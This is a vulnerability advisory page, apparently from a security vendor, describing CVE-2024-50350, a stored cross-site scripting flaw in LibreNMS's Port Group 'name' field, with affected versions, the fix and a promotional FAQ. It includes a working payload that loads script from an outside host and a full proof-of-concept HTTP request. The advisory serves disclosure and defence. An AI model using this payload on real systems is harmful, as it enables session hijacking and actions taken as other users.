CVE-2024-50350

A Stored Cross-Site Scripting (XSS) vulnerability in the "Port Settings" page allows authenticated users to inject arbitrary JavaScript through the "name" parameter when creating a new Port Group. This vulnerability results in the execution of malicious code when the "Port Settings" page is visited after the affected Port Group is added to a device, potentially compromising user sessions and allowing unauthorized actions.

Details

When creating a new "Port Group," an attacker can inject the following XSS payload into the "name" parameter:
<script/src=//15.rs></script>

Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.

The payload triggers when the affected Port Group is added to a device and the "Port Settings" page is reloaded. The vulnerability is due to insufficient sanitization of the "name" parameter. The sink responsible for this issue is:
https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/app/Http/Controllers/Table/EditPortsController.php#L69

PoC

1. Create a new Port Group using the following payload in the "name" parameter:

name<script/src=//15.rs></script>
2. Add the Port Group to a device's port settings.
3. Reload the "Port Settings" page.
4. Observe that the injected script executes.

Example Request:

POST /port-groups HTTP/1.1
Host: <your_host>
Content-Type: application/x-www-form-urlencoded
Cookie: <your_cookie>

_token=<your_token>&name=name<script/src=//15.rs></script>&desc=descr<script/src=//15.rs></script>

This vulnerability allows authenticated users to inject and execute arbitrary JavaScript in the context of other users' sessions when they visit the "Port Settings" page of a device. This could result in the compromise of user accounts and unauthorized actions performed on their behalf.

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

CVE-2024-50350 has a CVSS score of 7.5 (High). The vector is network-reachable, high privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (24.10.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2024-50350? CVE-2024-50350 is a high-severity cross-site scripting (XSS) vulnerability in librenms/librenms (composer), affecting versions <= 24.9.1. It is fixed in 24.10.0. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
2. How severe is CVE-2024-50350? CVE-2024-50350 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of librenms/librenms are affected by CVE-2024-50350? librenms/librenms (composer) versions <= 24.9.1 is affected.
4. Is there a fix for CVE-2024-50350? Yes. CVE-2024-50350 is fixed in 24.10.0. Upgrade to this version or later.
5. Is CVE-2024-50350 exploitable, and should I be worried? Whether CVE-2024-50350 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2024-50350 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2024-50350? Upgrade librenms/librenms to 24.10.0 or later.

Other vulnerabilities in librenms/librenms